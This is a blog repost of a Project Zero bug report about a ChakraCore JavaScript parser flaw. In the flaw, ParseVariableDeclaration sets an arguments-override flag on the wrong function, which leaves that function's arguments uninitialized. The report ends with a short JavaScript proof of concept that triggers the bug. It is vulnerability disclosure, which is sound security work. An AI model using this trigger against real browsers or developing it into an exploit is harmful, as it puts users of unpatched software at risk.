Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86371639

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1297

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
    tokens declarationType, charcount_t ichMin,
    BOOL fAllowIn/* = TRUE*/,
    BOOL* pfForInOk/* = nullptr*/,
    BOOL singleDefOnly/* = FALSE*/,
    BOOL allowInit/* = TRUE*/,
    BOOL isTopVarParse/* = TRUE*/,
    BOOL isFor/* = FALSE*/,
    BOOL* nativeForOk /*= nullptr*/)
{
    ...
    if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
    {
        // This var declaration may change the way an 'arguments' identifier in the function is resolved
        if (declarationType == tkVAR)
        {
            m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
        }
        else
        {
            if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
            {
                // Only override arguments if we are at the function block level.
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
            }
        }
    }
    ...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
-->

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();